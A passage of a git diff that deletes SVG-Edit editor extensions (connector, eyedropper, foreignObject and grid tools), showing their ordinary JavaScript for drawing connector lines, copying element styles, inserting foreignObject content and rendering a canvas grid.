-			{"id": "mode_connect", "title": "Connecter deux objets"}
-		]
-	};
-	
-	function getOffset(side, line) {
-		var give_offset = !!line.getAttribute('marker-' + side);
-// 		var give_offset = $(line).data(side+'_off');
-
-		// TODO: Make this number (5) be based on marker width/height
-		var size = line.getAttribute('stroke-width') * 5;
-		return give_offset ? size : 0;
-	}
-	
-	function showPanel(on) {
-		var conn_rules = $('#connector_rules');
-		if(!conn_rules.length) {
-			conn_rules = $('<style id="connector_rules"><\/style>').appendTo('head');
-		} 
-		conn_rules.text(!on?"":"#tool_clone, #tool_topath, #tool_angle, #xy_panel { display: none !important; }");
-		$('#connector_panel').toggle(on);
-	}
-	
-	function setPoint(elem, pos, x, y, setMid) {
-		var pts = elem.points;
-		var pt = svgroot.createSVGPoint();
-		pt.x = x;
-		pt.y = y;
-		if(pos === 'end') pos = pts.numberOfItems-1;
-		// TODO: Test for this on init, then use alt only if needed
-		try {
-			pts.replaceItem(pt, pos);
-		} catch(err) {
-			// Should only occur in FF which formats points attr as "n,n n,n", so just split
-			var pt_arr = elem.getAttribute("points").split(" ");
-			for(var i=0; i< pt_arr.length; i++) {
-				if(i == pos) {
-					pt_arr[i] = x + ',' + y;
-				}
-			}
-			elem.setAttribute("points",pt_arr.join(" ")); 
-		}
-		
-		if(setMid) {
-			// Add center point
-			var pt_start = pts.getItem(0);
-			var pt_end = pts.getItem(pts.numberOfItems-1);
-			setPoint(elem, 1, (pt_end.x + pt_start.x)/2, (pt_end.y + pt_start.y)/2);
-		}
-	}
-	
-	function updateLine(diff_x, diff_y) {
-		// Update line with element
-		var i = connections.length;
-		while(i--) {
-			var conn = connections[i];
-			var line = conn.connector;
-			var elem = conn.elem;
-			
-			var pre = conn.is_start?'start':'end';
-// 						var sw = line.getAttribute('stroke-width') * 5;
-			
-			// Update bbox for this element
-			var bb = elData(line, pre+'_bb');
-			bb.x = conn.start_x + diff_x;
-			bb.y = conn.start_y + diff_y;
-			elData(line, pre+'_bb', bb);
-			
-			var alt_pre = conn.is_start?'end':'start';
-			
-			// Get center pt of connected element
-			var bb2 = elData(line, alt_pre+'_bb');
-			var src_x = bb2.x + bb2.width/2;
-			var src_y = bb2.y + bb2.height/2;
-			
-			// Set point of element being moved
-			var pt = getBBintersect(src_x, src_y, bb, getOffset(pre, line)); // $(line).data(pre+'_off')?sw:0
-			setPoint(line, conn.is_start?0:'end', pt.x, pt.y, true);
-			
-			// Set point of connected element
-			var pt2 = getBBintersect(pt.x, pt.y, elData(line, alt_pre + '_bb'), getOffset(alt_pre, line));
-			setPoint(line, conn.is_start?'end':0, pt2.x, pt2.y, true);
-
-		}
-	}
-	
-	function findConnectors(elems) {
-		if(!elems) elems = selElems;
-		var connectors = $(svgcontent).find(conn_sel);
-		connections = [];
-
-		// Loop through connectors to see if one is connected to the element
-		connectors.each(function() {
-			var start = elData(this, "c_start");
-			var end = elData(this, "c_end");
-			
-			var parts = [getElem(start), getElem(end)];
-			for(var i=0; i<2; i++) {
-				var c_elem = parts[i];
-				var add_this = false;
-				// The connected element might be part of a selected group
-				$(c_elem).parents().each(function() {
-					if($.inArray(this, elems) !== -1) {
-						// Pretend this element is selected
-						add_this = true;
-					}
-				});
-				
-				if(!c_elem || !c_elem.parentNode) {
-					$(this).remove();
-					continue;
-				}
-				if($.inArray(c_elem, elems) !== -1 || add_this) {
-					var bb = svgCanvas.getStrokedBBox([c_elem]);
-					connections.push({
-						elem: c_elem,
-						connector: this,
-						is_start: (i === 0),
-						start_x: bb.x,
-						start_y: bb.y
-					});	
-				}
-			}
-		});
-	}
-	
-	function updateConnectors(elems) {
-		// Updates connector lines based on selected elements
-		// Is not used on mousemove, as it runs getStrokedBBox every time,
-		// which isn't necessary there.
-		findConnectors(elems);
-		if(connections.length) {
-			// Update line with element
-			var i = connections.length;
-			while(i--) {
-				var conn = connections[i];
-				var line = conn.connector;
-				var elem = conn.elem;
-
-				var sw = line.getAttribute('stroke-width') * 5;
-				var pre = conn.is_start?'start':'end';
-				
-				// Update bbox for this element
-				var bb = svgCanvas.getStrokedBBox([elem]);
-				bb.x = conn.start_x;
-				bb.y = conn.start_y;
-				elData(line, pre+'_bb', bb);
-				var add_offset = elData(line, pre+'_off');
-			
-				var alt_pre = conn.is_start?'end':'start';
-				
-				// Get center pt of connected element
-				var bb2 = elData(line, alt_pre+'_bb');
-				var src_x = bb2.x + bb2.width/2;
-				var src_y = bb2.y + bb2.height/2;
-				
-				// Set point of element being moved
-				var pt = getBBintersect(src_x, src_y, bb, getOffset(pre, line));
-				setPoint(line, conn.is_start?0:'end', pt.x, pt.y, true);
-				
-				// Set point of connected element
-				var pt2 = getBBintersect(pt.x, pt.y, elData(line, alt_pre + '_bb'), getOffset(alt_pre, line));
-				setPoint(line, conn.is_start?'end':0, pt2.x, pt2.y, true);
-				
-				// Update points attribute manually for webkit
-				if(navigator.userAgent.indexOf('AppleWebKit') != -1) {
-					var pts = line.points;
-					var len = pts.numberOfItems;
-					var pt_arr = Array(len);
-					for(var j=0; j< len; j++) {
-						var pt = pts.getItem(j);
-						pt_arr[j] = pt.x + ',' + pt.y;
-					}	
-					line.setAttribute("points",pt_arr.join(" ")); 
-				}
-
-			}
-		}
-	}
-	
-	function getBBintersect(x, y, bb, offset) {
-		if(offset) {
-			offset -= 0;
-			bb = $.extend({}, bb);
-			bb.width += offset;
-			bb.height += offset;
-			bb.x -= offset/2;
-			bb.y -= offset/2;
-		}
-	
-		var mid_x = bb.x + bb.width/2;
-		var mid_y = bb.y + bb.height/2;
-		var len_x = x - mid_x;
-		var len_y = y - mid_y;
-		
-		var slope = Math.abs(len_y/len_x);
-		
-		var ratio;
-		
-		if(slope < bb.height/bb.width) {
-			ratio = (bb.width/2) / Math.abs(len_x);
-		} else {
-			ratio = (bb.height/2) / Math.abs(len_y);
-		}
-		
-		
-		return {
-			x: mid_x + len_x * ratio,
-			y: mid_y + len_y * ratio
-		}
-	}
-	
-	// Do once
-	(function() {
-		var gse = svgCanvas.groupSelectedElements;
-		
-		svgCanvas.groupSelectedElements = function() {
-			svgCanvas.removeFromSelection($(conn_sel).toArray());
-			return gse.apply(this, arguments);
-		}
-		
-		var mse = svgCanvas.moveSelectedElements;
-		
-		svgCanvas.moveSelectedElements = function() {
-			svgCanvas.removeFromSelection($(conn_sel).toArray());
-			var cmd = mse.apply(this, arguments);
-			updateConnectors();
-			return cmd;
-		}
-		
-		se_ns = svgCanvas.getEditorNS();
-	}());
-	
-	// Do on reset
-	function init() {
-		// Make sure all connectors have data set
-		$(svgcontent).find('*').each(function() { 
-			var conn = this.getAttributeNS(se_ns, "connector");
-			if(conn) {
-				this.setAttribute('class', conn_sel.substr(1));
-				var conn_data = conn.split(' ');
-				var sbb = svgCanvas.getStrokedBBox([getElem(conn_data[0])]);
-				var ebb = svgCanvas.getStrokedBBox([getElem(conn_data[1])]);
-				$(this).data('c_start',conn_data[0])
-					.data('c_end',conn_data[1])
-					.data('start_bb', sbb)
-					.data('end_bb', ebb);
-				svgCanvas.getEditorNS(true);
-			}
-		});
-// 			updateConnectors();
-	}
-	
-// 		$(svgroot).parent().mousemove(function(e) {
-// // 			if(started 
-// // 				|| svgCanvas.getMode() != "connector"
-// // 				|| e.target.parentNode.parentNode != svgcontent) return;
-// 			
-// 			console.log('y')
-// // 			if(e.target.parentNode.parentNode === svgcontent) {
-// // 					
-// // 			}
-// 		});
-	
-	return {
-		name: "Connector",
-		svgicons: "images/conn.svg",
-		buttons: [{
-			id: "mode_connect",
-			type: "mode",
-			icon: "images/cut.png",
-			title: "Connect two objects",
-			includeWith: {
-				button: '#tool_line',
-				isDefault: false,
-				position: 1
-			},
-			events: {
-				'click': function() {
-					svgCanvas.setMode("connector");
-				}
-			}
-		}],
-		addLangData: function(lang) {
-			return {
-				data: lang_list[lang]
-			};
-		},
-		mouseDown: function(opts) {
-			var e = opts.event;
-			start_x = opts.start_x,
-			start_y = opts.start_y;
-			var mode = svgCanvas.getMode();
-			
-			if(mode == "connector") {
-				
-				if(started) return;
-				
-				var mouse_target = e.target;
-				
-				var parents = $(mouse_target).parents();
-				
-				if($.inArray(svgcontent, parents) != -1) {
-					// Connectable element
-					
-					// If child of foreignObject, use parent
-					var fo = $(mouse_target).closest("foreignObject");
-					start_elem = fo.length ? fo[0] : mouse_target;
-					
-					// Get center of source element
-					var bb = svgCanvas.getStrokedBBox([start_elem]);
-					var x = bb.x + bb.width/2;
-					var y = bb.y + bb.height/2;
-					
-					started = true;
-					cur_line = addElem({
-						"element": "polyline",
-						"attr": {
-							"id": getNextId(),
-							"points": (x+','+y+' '+x+','+y+' '+start_x+','+start_y),
-							"stroke": '#' + curConfig.initStroke.color,
-							"stroke-width": (!start_elem.stroke_width || start_elem.stroke_width == 0) ? curConfig.initStroke.width : start_elem.stroke_width,
-							"fill": "none",
-							"opacity": curConfig.initStroke.opacity,
-							"style": "pointer-events:none"
-						}
-					});
-					elData(cur_line, 'start_bb', bb);
-				}
-				return {
-					started: true
-				};
-			} else if(mode == "select") {
-				findConnectors();
-			}
-		},
-		mouseMove: function(opts) {
-			var zoom = svgCanvas.getZoom();
-			var e = opts.event;
-			var x = opts.mouse_x/zoom;
-			var y = opts.mouse_y/zoom;
-			
-			var	diff_x = x - start_x,
-				diff_y = y - start_y;
-								
-			var mode = svgCanvas.getMode();
-			
-			if(mode == "connector" && started) {
-				
-				var sw = cur_line.getAttribute('stroke-width') * 3;
-				// Set start point (adjusts based on bb)
-				var pt = getBBintersect(x, y, elData(cur_line, 'start_bb'), getOffset('start', cur_line));
-				start_x = pt.x;
-				start_y = pt.y;
-				
-				setPoint(cur_line, 0, pt.x, pt.y, true);
-				
-				// Set end point
-				setPoint(cur_line, 'end', x, y, true);
-			} else if(mode == "select") {
-				var slen = selElems.length;
-				
-				while(slen--) {
-					var elem = selElems[slen];
-					// Look for selected connector elements
-					if(elem && elData(elem, 'c_start')) {
-						// Remove the "translate" transform given to move
-						svgCanvas.removeFromSelection([elem]);
-						svgCanvas.getTransformList(elem).clear();
-
-					}
-				}
-				if(connections.length) {
-					updateLine(diff_x, diff_y);
-
-					
-				}
-			} 
-		},
-		mouseUp: function(opts) {
-			var zoom = svgCanvas.getZoom();
-			var e = opts.event,
-				x = opts.mouse_x/zoom,
-				y = opts.mouse_y/zoom,
-				mouse_target = e.target;
-			
-			if(svgCanvas.getMode() == "connector") {
-				var fo = $(mouse_target).closest("foreignObject");
-				if(fo.length) mouse_target = fo[0];
-				
-				var parents = $(mouse_target).parents();
-
-				if(mouse_target == start_elem) {
-					// Start line through click
-					started = true;
-					return {
-						keep: true,
-						element: null,
-						started: started
-					}						
-				} else if($.inArray(svgcontent, parents) === -1) {
-					// Not a valid target element, so remove line
-					$(cur_line).remove();
-					started = false;
-					return {
-						keep: false,
-						element: null,
-						started: started
-					}
-				} else {
-					// Valid end element
-					end_elem = mouse_target;
-					
-					var start_id = start_elem.id, end_id = end_elem.id;
-					var conn_str = start_id + " " + end_id;
-					var alt_str = end_id + " " + start_id;
-					// Don't create connector if one already exists
-					var dupe = $(svgcontent).find(conn_sel).filter(function() {
-						var conn = this.getAttributeNS(se_ns, "connector");
-						if(conn == conn_str || conn == alt_str) return true;
-					});
-					if(dupe.length) {
-						$(cur_line).remove();
-						return {
-							keep: false,
-							element: null,
-							started: false
-						}
-					}
-					
-					var bb = svgCanvas.getStrokedBBox([end_elem]);
-					
-					var pt = getBBintersect(start_x, start_y, bb, getOffset('start', cur_line));
-					setPoint(cur_line, 'end', pt.x, pt.y, true);
-					$(cur_line)
-						.data("c_start", start_id)
-						.data("c_end", end_id)
-						.data("end_bb", bb);
-					se_ns = svgCanvas.getEditorNS(true);
-					cur_line.setAttributeNS(se_ns, "se:connector", conn_str);
-					cur_line.setAttribute('class', conn_sel.substr(1));
-					cur_line.setAttribute('opacity', 1);
-					svgCanvas.addToSelection([cur_line]);
-					svgCanvas.moveToBottomSelectedElement();
-					selManager.requestSelector(cur_line).showGrips(false);
-					started = false;
-					return {
-						keep: true,
-						element: cur_line,
-						started: started
-					}
-				}
-			}
-		},
-		selectedChanged: function(opts) {
-			// TODO: Find better way to skip operations if no connectors are in use
-			if(!$(svgcontent).find(conn_sel).length) return;
-			
-			if(svgCanvas.getMode() == 'connector') {
-				svgCanvas.setMode('select');
-			}
-			
-			// Use this to update the current selected elements
-			selElems = opts.elems;
-			
-			var i = selElems.length;
-			
-			while(i--) {
-				var elem = selElems[i];
-				if(elem && elData(elem, 'c_start')) {
-					selManager.requestSelector(elem).showGrips(false);
-					if(opts.selectedElement && !opts.multiselected) {
-						// TODO: Set up context tools and hide most regular line tools
-						showPanel(true);
-					} else {
-						showPanel(false);
-					}
-				} else {
-					showPanel(false);
-				}
-			}
-			updateConnectors();
-		},
-		elementChanged: function(opts) {
-			var elem = opts.elems[0];
-			if (elem && elem.tagName == 'svg' && elem.id == "svgcontent") {
-				// Update svgcontent (can change on import)
-				svgcontent = elem;
-				init();
-			}
-			
-			// Has marker, so change offset
-			if(elem && (
-				elem.getAttribute("marker-start") ||
-				elem.getAttribute("marker-mid") ||
-				elem.getAttribute("marker-end")
-			)) {
-				var start = elem.getAttribute("marker-start");
-				var mid = elem.getAttribute("marker-mid");
-				var end = elem.getAttribute("marker-end");
-				cur_line = elem;
-				$(elem)
-					.data("start_off", !!start)
-					.data("end_off", !!end);
-				
-				if(elem.tagName == "line" && mid) {
-					// Convert to polyline to accept mid-arrow
-					
-					var x1 = elem.getAttribute('x1')-0;
-					var x2 = elem.getAttribute('x2')-0;
-					var y1 = elem.getAttribute('y1')-0;
-					var y2 = elem.getAttribute('y2')-0;
-					var id = elem.id;
-					
-					var mid_pt = (' '+((x1+x2)/2)+','+((y1+y2)/2) + ' ');
-					var pline = addElem({
-						"element": "polyline",
-						"attr": {
-							"points": (x1+','+y1+ mid_pt +x2+','+y2),
-							"stroke": elem.getAttribute('stroke'),
-							"stroke-width": elem.getAttribute('stroke-width'),
-							"marker-mid": mid,
-							"fill": "none",
-							"opacity": elem.getAttribute('opacity') || 1
-						}
-					});
-					$(elem).after(pline).remove();
-					svgCanvas.clearSelection();
-					pline.id = id;
-					svgCanvas.addToSelection([pline]);
-					elem = pline;
-				}
-			}
-			// Update line if it's a connector
-			if(elem.getAttribute('class') == conn_sel.substr(1)) {
-				var start = getElem(elData(elem, 'c_start'));
-				updateConnectors([start]);
-			} else {
-				updateConnectors();
-			}
-		},
-		toolButtonStateUpdate: function(opts) {
-			if(opts.nostroke) {
-				if ($('#mode_connect').hasClass('tool_button_current')) {
-					clickSelect();
-				}
-			}
-			$('#mode_connect')
-				.toggleClass('disabled',opts.nostroke);
-		}
-	};
-});
diff --git a/public/svg-edit/editor/extensions/ext-eyedropper.js b/public/svg-edit/editor/extensions/ext-eyedropper.js
deleted file mode 100644
index a475a0f9..00000000
--- a/public/svg-edit/editor/extensions/ext-eyedropper.js
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * ext-eyedropper.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jeff Schiller
- *
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) history.js
-// 3) svg_editor.js
-// 4) svgcanvas.js
-
-svgEditor.addExtension("eyedropper", function(S) {
-		var svgcontent = S.svgcontent,
-			svgns = "http://www.w3.org/2000/svg",
-			svgdoc = S.svgroot.parentNode.ownerDocument,
-			svgCanvas = svgEditor.canvas,
-			ChangeElementCommand = svgedit.history.ChangeElementCommand,
-			addToHistory = function(cmd) { svgCanvas.undoMgr.addCommandToHistory(cmd); },
-			currentStyle = {fillPaint: "red", fillOpacity: 1.0,
-							strokePaint: "black", strokeOpacity: 1.0, 
-							strokeWidth: 5, strokeDashArray: null,
-							opacity: 1.0,
-							strokeLinecap: 'butt',
-							strokeLinejoin: 'miter',
-							};
-							
-		function getStyle(opts) {
-			// if we are in eyedropper mode, we don't want to disable the eye-dropper tool
-			var mode = svgCanvas.getMode();
-			if (mode == "eyedropper") return;
-
-			var elem = null;
-			var tool = $('#tool_eyedropper');
-			// enable-eye-dropper if one element is selected
-			if (!opts.multiselected && opts.elems[0] &&
-				$.inArray(opts.elems[0].nodeName, ['svg', 'g', 'use']) == -1) 
-			{
-				elem = opts.elems[0];
-				tool.removeClass('disabled');
-				// grab the current style
-				currentStyle.fillPaint = elem.getAttribute("fill") || "black";
-				currentStyle.fillOpacity = elem.getAttribute("fill-opacity") || 1.0;
-				currentStyle.strokePaint = elem.getAttribute("stroke");
-				currentStyle.strokeOpacity = elem.getAttribute("stroke-opacity") || 1.0;
-				currentStyle.strokeWidth = elem.getAttribute("stroke-width");
-				currentStyle.strokeDashArray = elem.getAttribute("stroke-dasharray");
-				currentStyle.strokeLinecap = elem.getAttribute("stroke-linecap");
-				currentStyle.strokeLinejoin = elem.getAttribute("stroke-linejoin");
-				currentStyle.opacity = elem.getAttribute("opacity") || 1.0;
-			}
-			// disable eye-dropper tool
-			else {
-				tool.addClass('disabled');
-			}
-
-		}
-		
-		return {
-			name: "eyedropper",
-			svgicons: "extensions/eyedropper-icon.xml",
-			buttons: [{
-				id: "tool_eyedropper",
-				type: "mode",
-				title: "Eye Dropper Tool",
-				key: "I",
-				events: {
-					"click": function() {
-						svgCanvas.setMode("eyedropper");
-					}
-				}
-			}],
-			
-			// if we have selected an element, grab its paint and enable the eye dropper button
-			selectedChanged: getStyle,
-			elementChanged: getStyle,
-			
-			mouseDown: function(opts) {
-				var mode = svgCanvas.getMode();
-				if (mode == "eyedropper") {
-					var e = opts.event;
-					var target = e.target;
-					if ($.inArray(target.nodeName, ['svg', 'g', 'use']) == -1) {
-						var changes = {};
-
-						var change = function(elem, attrname, newvalue) {
-							changes[attrname] = elem.getAttribute(attrname);
-							elem.setAttribute(attrname, newvalue);
-						};
-						
-						if (currentStyle.fillPaint) 		change(target, "fill", currentStyle.fillPaint);
-						if (currentStyle.fillOpacity) 		change(target, "fill-opacity", currentStyle.fillOpacity);
-						if (currentStyle.strokePaint) 		change(target, "stroke", currentStyle.strokePaint);
-						if (currentStyle.strokeOpacity) 	change(target, "stroke-opacity", currentStyle.strokeOpacity);
-						if (currentStyle.strokeWidth) 		change(target, "stroke-width", currentStyle.strokeWidth);
-						if (currentStyle.strokeDashArray) 	change(target, "stroke-dasharray", currentStyle.strokeDashArray);
-						if (currentStyle.opacity) 			change(target, "opacity", currentStyle.opacity);
-						if (currentStyle.strokeLinecap) 	change(target, "stroke-linecap", currentStyle.strokeLinecap);
-						if (currentStyle.strokeLinejoin) 	change(target, "stroke-linejoin", currentStyle.strokeLinejoin);
-						
-						addToHistory(new ChangeElementCommand(target, changes));
-					}
-				}
-			},
-		};
-});
diff --git a/public/svg-edit/editor/extensions/ext-foreignobject.js b/public/svg-edit/editor/extensions/ext-foreignobject.js
deleted file mode 100644
index 9d401825..00000000
--- a/public/svg-edit/editor/extensions/ext-foreignobject.js
+++ /dev/null
@@ -1,277 +0,0 @@
-/*
- * ext-foreignobject.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Jacques Distler 
- * Copyright(c) 2010 Alexis Deveria 
- *
- */
-
-svgEditor.addExtension("foreignObject", function(S) {
-		var svgcontent = S.svgcontent,
-			addElem = S.addSvgElementFromJson,
-			selElems,
-			svgns = "http://www.w3.org/2000/svg",
-			xlinkns = "http://www.w3.org/1999/xlink",
-			xmlns = "http://www.w3.org/XML/1998/namespace",
-			xmlnsns = "http://www.w3.org/2000/xmlns/",
-			se_ns = "http://svg-edit.googlecode.com",
-			htmlns = "http://www.w3.org/1999/xhtml",
-			mathns = "http://www.w3.org/1998/Math/MathML",
-			editingforeign = false,
-			svgdoc = S.svgroot.parentNode.ownerDocument,
-			started,
-			newFO;
-			
-			
-		var properlySourceSizeTextArea = function(){
-			// TODO: remove magic numbers here and get values from CSS
-			var height = $('#svg_source_container').height() - 80;
-			$('#svg_source_textarea').css('height', height);
-		};
-
-		function showPanel(on) {
-			var fc_rules = $('#fc_rules');
-			if(!fc_rules.length) {
-				fc_rules = $('<style id="fc_rules"><\/style>').appendTo('head');
-			} 
-			fc_rules.text(!on?"":" #tool_topath { display: none !important; }");
-			$('#foreignObject_panel').toggle(on);
-		}
-
-		function toggleSourceButtons(on) {
-			$('#tool_source_save, #tool_source_cancel').toggle(!on);
-			$('#foreign_save, #foreign_cancel').toggle(on);
-		}
-		
-			
-		// Function: setForeignString(xmlString, elt)
-		// This function sets the content of element elt to the input XML.
-		//
-		// Parameters:
-		// xmlString - The XML text.
-		// elt - the parent element to append to
-		//
-		// Returns:
-		// This function returns false if the set was unsuccessful, true otherwise.
-		function setForeignString(xmlString) {
-			var elt = selElems[0];
-			try {
-				// convert string into XML document
-				var newDoc = Utils.text2xml('<svg xmlns="'+svgns+'" xmlns:xlink="'+xlinkns+'">'+xmlString+'</svg>');
-				// run it through our sanitizer to remove anything we do not support
-				S.sanitizeSvg(newDoc.documentElement);
-				elt.parentNode.replaceChild(svgdoc.importNode(newDoc.documentElement.firstChild, true), elt);
-				S.call("changed", [elt]);
-				svgCanvas.clearSelection();
-			} catch(e) {
-				console.log(e);
-				return false;
-			}
-	
-			return true;
-		};
-
-		function showForeignEditor() {
-			var elt = selElems[0];
-			if (!elt || editingforeign) return;
-			editingforeign = true;
-			toggleSourceButtons(true);
-			elt.removeAttribute('fill');
-
-			var str = S.svgToString(elt, 0);
-			$('#svg_source_textarea').val(str);
-			$('#svg_source_editor').fadeIn();
-			properlySourceSizeTextArea();
-			$('#svg_source_textarea').focus();
-		}
-		
-		function setAttr(attr, val) {
-			svgCanvas.changeSelectedAttribute(attr, val);
-			S.call("changed", selElems);
-		}
-		
-		
-		return {
-			name: "foreignObject",
-			svgicons: "extensions/foreignobject-icons.xml",
-			buttons: [{
-				id: "tool_foreign",
-				type: "mode",
-				title: "Foreign Object Tool",
-				events: {
-					'click': function() {
-						svgCanvas.setMode('foreign')
-					}
-				}
-			},{
-				id: "edit_foreign",
-				type: "context",
-				panel: "foreignObject_panel",
-				title: "Edit ForeignObject Content",
-				events: {
-					'click': function() {
-						showForeignEditor();
-					}
-				}
-			}],
-			
-			context_tools: [{
-				type: "input",
-				panel: "foreignObject_panel",
-				title: "Change foreignObject's width",
-				id: "foreign_width",
-				label: "w",
-				size: 3,
-				events: {
-					change: function() {
-						setAttr('width', this.value);
-					}
-				}
-			},{
-				type: "input",
-				panel: "foreignObject_panel",
-				title: "Change foreignObject's height",
-				id: "foreign_height",
-				label: "h",
-				events: {
-					change: function() {
-						setAttr('height', this.value);
-					}
-				}
-			}, {
-				type: "input",
-				panel: "foreignObject_panel",
-				title: "Change foreignObject's font size",
-				id: "foreign_font_size",
-				label: "font-size",
-				size: 2,
-				defval: 16,
-				events: {
-					change: function() {
-						setAttr('font-size', this.value);
-					}
-				}
-			}
-			
-			
-			],
-			callback: function() {
-				$('#foreignObject_panel').hide();
-
-				var endChanges = function() {
-					$('#svg_source_editor').hide();
-					editingforeign = false;
-					$('#svg_source_textarea').blur();
-					toggleSourceButtons(false);
-				}
-
-				// TODO: Needs to be done after orig icon loads
-				setTimeout(function() {				
-					// Create source save/cancel buttons
-					var save = $('#tool_source_save').clone()
-						.hide().attr('id', 'foreign_save').unbind()
-						.appendTo("#tool_source_back").click(function() {
-							
-							if (!editingforeign) return;
-
-							if (!setForeignString($('#svg_source_textarea').val())) {
-								$.confirm("Errors found. Revert to original?", function(ok) {
-									if(!ok) return false;
-									endChanges();
-								});
-							} else {
-								endChanges();
-							}
-							// setSelectMode();	
-						});
-						
-					var cancel = $('#tool_source_cancel').clone()
-						.hide().attr('id', 'foreign_cancel').unbind()
-						.appendTo("#tool_source_back").click(function() {
-							endChanges();
-						});
-					
-				}, 3000);
-			},
-			mouseDown: function(opts) {
-				var e = opts.event;
-				
-				if(svgCanvas.getMode() == "foreign") {
-
-					started = true;
-					newFO = S.addSvgElementFromJson({
-						"element": "foreignObject",
-						"attr": {
-							"x": opts.start_x,
-							"y": opts.start_y,
-							"id": S.getNextId(),
-							"font-size": 16, //cur_text.font_size,
-							"width": "48",
-							"height": "20",
-							"style": "pointer-events:inherit"
-						}
-					});
-					var m = svgdoc.createElementNS(mathns, 'math');
-					m.setAttributeNS(xmlnsns, 'xmlns', mathns);
-					m.setAttribute('display', 'inline');
-					var mi = svgdoc.createElementNS(mathns, 'mi');
-					mi.setAttribute('mathvariant', 'normal');
-					mi.textContent = "\u03A6";
-					var mo = svgdoc.createElementNS(mathns, 'mo');
-					mo.textContent = "\u222A";
-					var mi2 = svgdoc.createElementNS(mathns, 'mi');
-					mi2.textContent = "\u2133";
-					m.appendChild(mi);
-					m.appendChild(mo);
-					m.appendChild(mi2);
-					newFO.appendChild(m);
-					return {
-						started: true
-					}
-				}
-			},
-			mouseUp: function(opts) {
-				var e = opts.event;
-				if(svgCanvas.getMode() == "foreign" && started) {
-					var attrs = $(newFO).attr(["width", "height"]);
-					keep = (attrs.width != 0 || attrs.height != 0);
-					svgCanvas.addToSelection([newFO], true);
-
-					return {
-						keep: keep,
-						element: newFO
-					}
-
-				}
-				
-			},
-			selectedChanged: function(opts) {
-				// Use this to update the current selected elements
-				selElems = opts.elems;
-				
-				var i = selElems.length;
-				
-				while(i--) {
-					var elem = selElems[i];
-					if(elem && elem.tagName == "foreignObject") {
-						if(opts.selectedElement && !opts.multiselected) {
-							$('#foreign_font_size').val(elem.getAttribute("font-size"));
-							$('#foreign_width').val(elem.getAttribute("width"));
-							$('#foreign_height').val(elem.getAttribute("height"));
-						
-							showPanel(true);
-						} else {
-							showPanel(false);
-						}
-					} else {
-						showPanel(false);
-					}
-				}
-			},
-			elementChanged: function(opts) {
-				var elem = opts.elems[0];
-			}
-		};
-});
diff --git a/public/svg-edit/editor/extensions/ext-grid.js b/public/svg-edit/editor/extensions/ext-grid.js
deleted file mode 100644
index c6f79e66..00000000
--- a/public/svg-edit/editor/extensions/ext-grid.js
+++ /dev/null
@@ -1,184 +0,0 @@
-/*
- * ext-grid.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Redou Mine
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
-// Dependencies:
-// 1) units.js
-// 2) everything else
-
-svgEditor.addExtension("view_grid", function(s) {
-
-    var svgdoc = document.getElementById("svgcanvas").ownerDocument,
-			svgns = "http://www.w3.org/2000/svg",
-			dims = svgEditor.curConfig.dimensions,
-			svgroot = s.svgroot;
-
-	var showGrid = false;
-    var assignAttributes = svgCanvas.assignAttributes;
-    
-    var hcanvas = document.createElement('canvas');
-    $(hcanvas).hide().appendTo('body');
-
-    var canvasgrid = svgdoc.createElementNS(svgns, "svg");
-    assignAttributes(canvasgrid, {
-        'id': 'canvasGrid',
-        'width': '100%',
-        'height': '100%',
-        'x': 0,
-        'y': 0,
-        'overflow': 'visible',
-        'display': 'none'
-    });
-    
-    var canvBG = $('#canvasBackground');
-    canvBG.append(canvasgrid);
-
-        // grid-pattern
-        var gridPattern = svgdoc.createElementNS(svgns, "pattern");
-        assignAttributes(gridPattern, {
-            'id': 'gridpattern',
-            'patternUnits': 'userSpaceOnUse',
-            'x': 0, //-(value.strokeWidth / 2), // position for strokewidth
-            'y': 0, //-(value.strokeWidth / 2), // position for strokewidth
-            'width': 100,
-            'height': 100
-        });
-        
-        var gridimg = svgdoc.createElementNS(svgns, "image");
-        assignAttributes(gridimg, {
-            'x': 0,
-            'y': 0,
-            'width': 100,
-            'height': 100
-        });
-        
-        gridPattern.appendChild(gridimg);
-        $('#svgroot defs').append(gridPattern);
-
-        // grid-box
-        var gridBox = svgdoc.createElementNS(svgns, "rect");
-        assignAttributes(gridBox, {
-            'width': '100%',
-            'height': '100%',
-            'x': 0,
-            'y': 0,
-            'stroke-width': 0,
-            'stroke': 'none',
-            'fill': 'url(#gridpattern)',
-            'style': 'pointer-events: none; display:visible;'
-        });
-        $('#canvasGrid').append(gridBox);
-//     });
-
-	function updateGrid(zoom) {
-		// TODO: Try this with <line> elements, then compare performance difference
-	
-		var bgwidth = +canvBG.attr('width');
-		var bgheight = +canvBG.attr('height');
-		
-		var units = svgedit.units.getTypeMap();
-		var unit = units[svgEditor.curConfig.baseUnit]; // 1 = 1px
-		var r_intervals = [.01, .1, 1, 10, 100, 1000];
-	
-		var d = 0;
-		var is_x = (d === 0);
-		var dim = is_x ? 'x' : 'y';
-		var lentype = is_x?'width':'height';
-		var c_elem = svgCanvas.getContentElem();
-		var content_d = c_elem.getAttribute(dim)-0;
-		
-		var hcanv = hcanvas;
-		
-		var u_multi = unit * zoom;
-		
-		// Calculate the main number interval
-		var raw_m = 100 / u_multi;
-		var multi = 1;
-		for(var i = 0; i < r_intervals.length; i++) {
-			var num = r_intervals[i];
-			multi = num;
-			if(raw_m <= num) {
-				break;
-			}
-		}
-		
-		var big_int = multi * u_multi;
-
-		// Set the canvas size to the width of the container
-		hcanv.width = big_int;
-		hcanv.height = big_int;
-		var ctx = hcanv.getContext("2d");
-
-		var ruler_d = 0; 
-		var cur_d = .5;
-		
-		var part = big_int / 10;
-
-		ctx.globalAlpha = 0.2;
-		ctx.strokeStyle = "#000";
-		for(var i = 1; i < 10; i++) {
-			var sub_d = Math.round(part * i) + .5;
-// 					var line_num = (i % 2)?12:10;
-			var line_num = 0;
-			ctx.moveTo(sub_d, big_int);
-			ctx.lineTo(sub_d, line_num);
-			ctx.moveTo(big_int, sub_d);
-			ctx.lineTo(line_num ,sub_d);
-		}
-		ctx.stroke();
-		ctx.beginPath();  
-		ctx.globalAlpha = 0.5;
-		ctx.moveTo(cur_d, big_int);
-		ctx.lineTo(cur_d, 0);
-
-		ctx.moveTo(big_int, cur_d);
-		ctx.lineTo(0, cur_d);
-		ctx.stroke();
-
